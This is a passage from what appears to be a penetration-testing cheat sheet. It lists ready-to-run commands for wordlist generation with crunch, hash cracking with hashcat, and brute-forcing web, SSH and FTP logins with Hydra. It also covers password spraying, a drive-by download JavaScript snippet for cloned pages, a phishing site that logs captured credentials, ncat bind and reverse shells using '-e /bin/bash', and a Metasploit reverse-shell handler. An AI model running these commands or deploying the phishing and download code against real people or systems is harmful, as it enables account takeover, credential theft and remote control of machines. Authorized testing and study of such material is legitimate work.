-lWhen you use the -t option this option tells crunch which symbols should be treated as literals
-oSpecifies the file to write the output to
-pTells crunch to generate/permute words that don’t have repeating characters
-qTells crunch to read a file and permute what is read
-rTells crunch to resume generate words from where it left off, -r only works if you use -o
-sSpecifies a starting string
-tSpecifies a pattern

For more options run man crunch or crunch -h.

PlaceholderDescription
@Lower case characters
,Upper case characters
%Numbers
^Symbols

Unfortunately, there is no placeholder ranging from lowercase-alpha to symbols.

Generate all the possible combinations for a specified placeholder:

crunch 10 10 -o crunch_wordlist.txt -t admin%%%^^

crunch 10 10 -o crunch_wordlist.txt -t admin%%%^^ -d 2% -d 1^

crunch 10 10 + + 123456 \!\" -o crunch_wordlist.txt -t admin@@%^^

crunch 10 10 -o crunch_wordlist.txt -t @dmin@@%^^ -l @aaaaaaaaa

hash-identifier

To identify a hash type, run the following tool:

hash-identifier

Hashcat

Brute force MD5 hashes:

hashcat -m 0 -a 3 --session=cracking --force --status -O -o hashcat_results.txt hashes.txt

Brute force NetNTLMv1 hashes:

hashcat -m 5500 -a 3 --session=cracking --force --status -O -o hashcat_results.txt hashes.txt

Use --session=<session_name> so that you can continue your cracking progress later on with --restore.

Continue cracking progress:

hashcat --session=cracking --restore
OptionDescription
-mHash-type, see references below
-aAttack-mode, see references below
–forceIgnore warnings
–runtimeAbort session after X seconds of runtime
–statusEnable automatic update of the status screen
-oDefine outfile for recovered hash
–showShow cracked passwords found in potfile
–sessionDefine specific session name
–restoreRestore session from –session
–restore-file-pathSpecific path to restore file
-OEnable optimized kernels (limits password length)
-1User-defined charset ?1
-2User-defined charset ?2
-3User-defined charset ?3
-4User-defined charset ?4

For more options run man hashcat or hashcat -h.

When specifying a user-defined charset, escape ? with another ? (i.e. use ?? instead of \?).

Hash TypeDescription
0MD5
100SHA1
1400SHA256
1700SHA512
200MySQL323
300MySQL4.1/MySQL5
1000NTLM
5500NetNTLMv1-VANILLA / NetNTLMv1-ESS
5600NetNTLMv2
2500WPA/WPA2
16800WPA-PMKID-PBKDF2

For more hash types read the manual.

Attack ModeName
0Straight
1Combination
2Toggle Case
3Brute Force
4Permutation
5Table Lookup
8Prince
CharsetDescription
?labcdefghijklmnopqrstuvwxyz
?uABCDEFGHIJKLMNOPQRSTUVWXYZ
?d0123456789
?s!”#$%&'()*+,-./:;<=>?@[]^_`{|}~
?a?l?u?d?s
?b0x00 – 0xff

Dictionary attack:

hashcat -m 100 -a 0 --session=cracking --force --status -O B1B3773A05C0ED0176787A4F1574FF0075F7521E rockyou.txt

hashcat -m 5600 -a 0 --session=cracking --force --status -O -o hashcat_results.txt hashes.txt rockyou.txt

You can find rockyou.txt wordlist in SecLists.

Brute force a hash with a specified placeholder:

hashcat -m 0 -a 3 --session=cracking --force --status -O cc158fa2f16206c8bd2c750002536211 -1 ?l?u -2 ?d?s ?1?l?l?l?l?l?2?2

hashcat -m 0 -a 3 --session=cracking --force --status -O 85fb9a30572c42b19f36d215722e1780 -1 \!\"\#\$\%\&\/\(\)\=??\* -2 ?d?1 ?u?l?l?l?l?2?2?2

Hydra

Crack an HTTP POST web form login:

hydra -o hydra_results.txt -l admin -P rockyou.txt somesite.com http-post-form '/login.php:username=^USER^&password=^PASS^&Login=Login:Login failed!'

When cracking a web form login, you must specify Login=Login:<expected_message> to distinguish between a successful login and a failed one. Each expected message can vary between web forms.

Keep in mind that the username and password request parameters can be named differently.

Crack a Secure Shell login:

hydra -o hydra_results.txt -L users.txt -P rockyou.txt 192.168.8.5 ssh

You can find a bunch of wordlists in SecLists.

OptionDescription
-RRestore a previous aborted/crashed session
-SPerform an SSL connect
-OUse old SSL v2 and v3
-sIf the service is on a different default port, define it here
-lLogin with a login name
-LLoad several logins from a file
-pLogin with a password
-PLoad several passwords from a file
-xPassword brute force generation (MIN:MAX:CHARSET), type “-x -h” to get help
-yDisable use of symbols in bruteforce
-eTry “n” null password, “s” login as pass and/or “r” reversed login
-oWrite found login/password pairs to a file instead of stdout
-f/-FExit when a login/pass pair is found (-f per host, -F global)
-MList of servers to attack, one entry per line, ‘:’ to specify port

For more options run man hydra or hydra -h.

Supported Services
ftp[s]
http[s]-{get|post}-form
mysql
smb
smtp[s]
snmp
ssh
telnet[s]
vnc

For more supported services read the manual.

Brute Force SyntaxDescription
MINMinimum number of characters in the password
MAXMaximum number of characters in the password
CHARSETCharset values are: “a” for lowercase letters, “A” for uppercase letters, “1” for numbers, and for all others, just add their real representation

Brute force attack:

hydra -o hydra_results.txt -l admin -x 4:4:aA1\!\"\#\$\% 192.168.8.5 ftp

Password Spraying

After you have collected enough usernames from reconnaissance phase, it is time to try and crack some of them.

Find out how to generate a good password spraying wordlist from my other project, but first you will need a few good keywords that describe your target.

Such keywords can be a company name, abbreviations, words that describe your target’s services, products, etc.

After you generate the wordlist, use it with tools such as HydraBurp Suite Intruder, etc. to crack web login forms. P.S. Hydra can attack authentication mechanisms on all kinds of services/ports.

If strong password policy is enforced, passwords usually start with one capitalized word followed by a few digits and one special character at the end (e.g. Password123!).

You can also use the generated wordlist with hashcat, e.g. to crack NTLMv2 hashes that you have collected using LLMNR responder, etc.

6. Social Engineering

Find out how to embed a PowerShell script into an MS Word document from my other project.

Drive-by Download

To force users to download a malicious file, copy and paste this JavaScript code block on a cloned web page:

function download(url, type, name, method) {
	var req = new XMLHttpRequest();
	req.open(method, url, true);
	req.responseType = 'blob';
	req.onload = function() {
		var blob = new Blob([req.response], { type: type })
		var isIE = false || !!document.documentMode;
		if (isIE) {
			// IE doesn't allow using a blob object directly as link
			// instead it is necessary to use msSaveOrOpenBlob()
			if (window.navigator && window.navigator.msSaveOrOpenBlob) {
				window.navigator.msSaveOrOpenBlob(blob, name);
			}
		} else {
			var anchor = document.createElement('a');
			anchor.href = window.URL.createObjectURL(blob);
			anchor.download = name;
			anchor.click();
			// in Firefox it is necessary to delay revoking the ObjectURL
			setTimeout(function() {
				window.URL.revokeObjectURL(anchor);
				anchor.remove();
			}, 250);
		}
	};
	req.send();
}
// specify your file here, use only an absolute URL
download('http://localhost/files/pentest.pdf', 'application/pdf', 'pentest.pdf', 'GET');
// download('http://localhost/files/pentest.docx', 'plain/txt', 'pentest.docx', 'GET');

To try it out, copy all the content from \social_engineering\driveby_download\ to your server’s web root directory (e.g. to \xampp\htdocs\ on XAMPP), and navigate to the web page with your preferred web browser.

Phishing Website

To try it out, copy all the content from \social_engineering\phishing_website\ to your server’s web root directory (e.g. to \xampp\htdocs\ on XAMPP), and navigate to the web page with your preferred web browser.

Captured credentials will be stored in \social_engineering\phishing_website\logs\credentials.log.

phishing website

Read the comments in \social_engineering\phishing_website\index.php to get a better understanding on how all of it works.

You can modify and expand this template to your liking. You have everything that needs to get you started.

You can easily customize CSS to make it look more like the company you are testing, e.g. change colors, logo, etc.

Check the standalone redirect templates in \social_engineering\phishing_website\redirects\ directory.


Use SingleFile (Chrome)(FireFox) browser extension to download a web page as a single HTML file, then, rename the file to index.php.

7. Miscellaneous

Here you can find a bunch of random stuff.

7.1 Useful Websites

cURL

Download a file:

curl somesite.com/somefile.txt -o somefile.txt

Upload a file:

curl somesite.com/uploads/ -T somefile.txt

Find out how to test a web server for various HTTP methods and method overrides from my other project.

Test a web server for a cross-site tracing (XST) attack:

curl -i -X TRACE -H 'XST: XST' somesite.com
OptionDescription
-dSends the specified data in a POST request to the HTTP server
-HExtra header to include in the request when sending HTTP to a server
-iInclude the HTTP response headers in the output
-kProceed and operate server connections otherwise considered insecure
-oWrite to file instead of stdout
-TTransfers the specified local file to the remote URL, same as PUT method
-vMake the operation more talkative
-xUse the specified proxy ([protocol://]host[:port])
-XSpecifies a custom request method to use when communicating with the HTTP server

For more options run man curl or curl -h.

Ncat

[Server] Set up a listener:

ncat -nvlp 9000

ncat -nvlp 9000 > received_data.txt

ncat -nvlp 9000 -e /bin/bash

ncat -nvlp 9000 -e /bin/bash --ssl

ncat -nvlp 9000 --ssl-cert crt.pem --ssl-key key.pem

ncat -nvlp 9000 --keep-open <<< "HTTP/1.1 200 OK\r\n\r\n"

[Client] Connect to a remote host:

ncat -nv 192.168.8.5 9000

ncat -nv 192.168.8.5 9000 < sent_data.txt

ncat -nv 192.168.8.5 9000 -e /bin/bash

ncat -nv 192.168.8.5 9000 -e /bin/bash --ssl

ncat -nv 192.168.8.5 9000 --ssl-cert crt.pem --ssl-key key.pem

Check if it is possible to connect to a specified TCP port (e.g. port 22 or 23):

for i in {0..255}; do ncat -nv "192.168.8.${i}" 9000 -w 2 -z 2>&1 | grep -Po '(?<=Connected\ to\ )[^\s]+(?=\.)'; done

for ip in $(cat ips.txt); do ncat -nv "${ip}" 9000 -w 2 -z 2>&1 | grep -Po '(?<=Connected\ to\ )[^\s]+(?=\.)'; done

For more options run man ncat or ncat -h.

Find out how to create an SSL/TLS certificate from my other project.

multi/handler

Set up a listener (change the PAYLOAD, LHOST, and LPORT as necessary):

msfconsole -q

use exploit/multi/handler

set PAYLOAD windows/shell_reverse_tcp

set LHOST 192.168.8.185

set LPORT 9000

exploit

ngrok

Use ngrok to give your local web server a public address, but do not expose the web server for too long if it is not properly hardened due to security concerns.

I advise you not to transfer any sensitive data over it, just in case.

Additional References

Credits to the authors!

infosecmatter.com/bug-bounty-tips
pentestbook.six2dez.com